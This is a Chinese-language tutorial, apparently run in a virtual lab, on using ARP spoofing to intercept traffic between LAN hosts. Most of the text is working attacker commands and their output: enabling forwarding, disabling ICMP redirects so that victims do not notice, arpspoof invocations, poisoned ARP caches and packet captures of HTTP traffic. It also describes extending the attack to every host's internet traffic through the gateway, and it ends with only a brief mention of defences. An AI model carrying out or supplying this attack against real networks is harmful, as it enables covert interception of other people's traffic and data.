利用 ARP 欺骗，截获任意主机之间网络流量

ARP 欺骗实现原理：

通过伪造（未经请求）ARP 应答，从而改变受害端主机 ARP 表中的 IP-MAC 映射关系，将来自 LAN 上的受害端主机的数据包重定向到 LAN 上的另一台主机（攻击端，arpspoof 运行端），从而实现流量劫持。

本方案扩展可实现：劫持内网任意主机到 internet 的所有流量，而用户无感知流量被截获

环境介绍

类型	名称	IP 地址	MAC 地址	接口名称
受害端	hostA	192.168.122.181	52:54:00:2b:f4:83	ens3
受害端	hostB	192.168.122.183	52:54:00:e8:2a:36	ens3
攻击端	jiawen	192.168.122.86	52:54:00:d5:0d:43	eth0

攻击端环境准备

1、启用路由转发，即转发受害端主机之间的任意流量

sysctl -w net.ipv4.conf.all.forwarding=1

2、攻击端系统防火墙放行 forward 流量

# 启用 public 区域内转发，攻击端接口 eth0 所在 zone
firewall-cmd --permanent --zone=public --add-forward

3、禁止攻击端发送 redirect 消息，避免受害端主机发现流量被劫持

sysctl -w net.ipv4.conf.all.send_redirects=0

如果不禁用配置项 send_redirects ，则受害端主机 ping 检测会有异常（容易被发现）

ping 192.168.122.183
#> PING 192.168.122.183 (192.168.122.183) 56(84) bytes of data.
#> From 192.168.122.86 icmp_seq=1 Redirect Host(New nexthop: 192.168.122.183)
#> 64 bytes from 192.168.122.183: icmp_seq=1 ttl=63 time=1.07 ms
#> From 192.168.122.86 icmp_seq=2 Redirect Host(New nexthop: 192.168.122.183)
#> 64 bytes from 192.168.122.183: icmp_seq=2 ttl=63 time=0.710 ms
#> From 192.168.122.86 icmp_seq=3 Redirect Host(New nexthop: 192.168.122.183)
#> 64 bytes from 192.168.122.183: icmp_seq=3 ttl=63 time=0.823 ms
#> From 192.168.122.86 icmp_seq=4 Redirect Host(New nexthop: 192.168.122.183)
#> 64 bytes from 192.168.122.183: icmp_seq=4 ttl=63 time=0.867 ms
#> ....

攻击端执行 ARP 投毒

1、攻击端执行 arpspoof 命令，开始 arp 投毒

sudo arpspoof -i eth0 -t 192.168.122.181 -r 192.168.122.183
#> 52:54:0:d5:d:43 52:54:0:2b:f4:83 0806 42: arp reply 192.168.122.183 is-at 52:54:0:d5:d:43
#> 52:54:0:d5:d:43 52:54:0:2b:f4:83 0806 42: arp reply 192.168.122.183 is-at 52:54:0:d5:d:43
#> 52:54:0:d5:d:43 52:54:0:2b:f4:83 0806 42: arp reply 192.168.122.183 is-at 52:54:0:d5:d:43
#> ...

扩展：
1、选项 -t 可设置多次，从而截获多个主机与 192.168.122.183 之间的流量
2、选项 -t 未指定时，且 192.168.122.183 替换为内网网关地址，从而截获内网所有主机到 internet 之间的所有流量。

2、攻击端接口 eth0 mac 地址

root@jiawen:~# ifconfig eth0 |grep ether
ether 52:54:00:d5:0d:43  txqueuelen 1000  (Ethernet)

3、受害端 hostA arp 缓存

[root@hostA ~]# arp -n -i ens3
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.1            ether   52:54:00:2b:9a:d1   C                     ens3
192.168.122.183          ether   52:54:00:d5:0d:43   C                     ens3

通信对端 hostB 192.168.122.183 对应 mac 变更为攻击端接口 mac 52:54:00:d5:0d:43。即 arp 投毒成功

4、同理，受害端 hostB arp 缓存也已被投毒

[root@hostB ~]# arp -n -i ens3
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.1            ether   52:54:00:2b:9a:d1   C                     ens3
192.168.122.181          ether   52:54:00:d5:0d:43   C                     ens3

hostA 和 hostB 通信测试

1、攻击端抓包受害主机之间的 ping 包

03:44:33.785225 IP 192.168.122.181 > 192.168.122.183: ICMP echo request, id 56, seq 1, length 64
03:44:33.785246 IP 192.168.122.181 > 192.168.122.183: ICMP echo request, id 56, seq 1, length 64
03:44:33.785738 IP 192.168.122.183 > 192.168.122.181: ICMP echo reply, id 56, seq 1, length 64
03:44:33.785756 IP 192.168.122.183 > 192.168.122.181: ICMP echo reply, id 56, seq 1, length 64

2、攻击端抓包受害主机之间的 http 包

03:47:34.951301 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [S], seq 2120799285, win 29200, options [mss 1460,sackOK,TS val 1963005399 ecr 0,nop,wscale 7], length 0
03:47:34.951324 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [S], seq 2120799285, win 29200, options [mss 1460,sackOK,TS val 1963005399 ecr 0,nop,wscale 7], length 0
03:47:34.951934 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [S.], seq 1967301846, ack 2120799286, win 28960, options [mss 1460,sackOK,TS val 1236436413 ecr 1963005399,nop,wscale 7], length 0
03:47:34.951955 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [S.], seq 1967301846, ack 2120799286, win 28960, options [mss 1460,sackOK,TS val 1236436413 ecr 1963005399,nop,wscale 7], length 0
03:47:34.952401 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [.], ack 1, win 229, options [nop,nop,TS val 1963005400 ecr 1236436413], length 0
03:47:34.952402 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [P.], seq 1:80, ack 1, win 229, options [nop,nop,TS val 1963005400 ecr 1236436413], length 79: HTTP: GET / HTTP/1.1
03:47:34.952421 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [.], ack 1, win 229, options [nop,nop,TS val 1963005400 ecr 1236436413], length 0
03:47:34.952444 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [P.], seq 1:80, ack 1, win 229, options [nop,nop,TS val 1963005400 ecr 1236436413], length 79: HTTP: GET / HTTP/1.1
03:47:34.952995 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [.], ack 80, win 227, options [nop,nop,TS val 1236436414 ecr 1963005400], length 0
03:47:34.953013 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [.], ack 80, win 227, options [nop,nop,TS val 1236436414 ecr 1963005400], length 0
03:47:34.954172 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [P.], seq 1:239, ack 80, win 227, options [nop,nop,TS val 1236436415 ecr 1963005400], length 238: HTTP: HTTP/1.1 200 OK
03:47:34.954191 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [P.], seq 1:239, ack 80, win 227, options [nop,nop,TS val 1236436415 ecr 1963005400], length 238: HTTP: HTTP/1.1 200 OK
03:47:34.954416 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [P.], seq 239:854, ack 80, win 227, options [nop,nop,TS val 1236436415 ecr 1963005400], length 615: HTTP
03:47:34.954427 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [P.], seq 239:854, ack 80, win 227, options [nop,nop,TS val 1236436415 ecr 1963005400], length 615: HTTP
....

防范 ARP 攻击

使用 ARP 防火墙：监控和检测网络中的 ARP 流量，及时发现并阻止异常 ARP 请求和响应

启用 ARP 检测功能：一些网络设备具有 ARP 检测功能，可以检测到 ARP 欺骗行为并自动阻断攻击者的连接

码字不易，若觉得本文对你有用，欢迎点赞 👍、分享 🚀 ，相关技术热点时时看🔥🔥🔥​​​…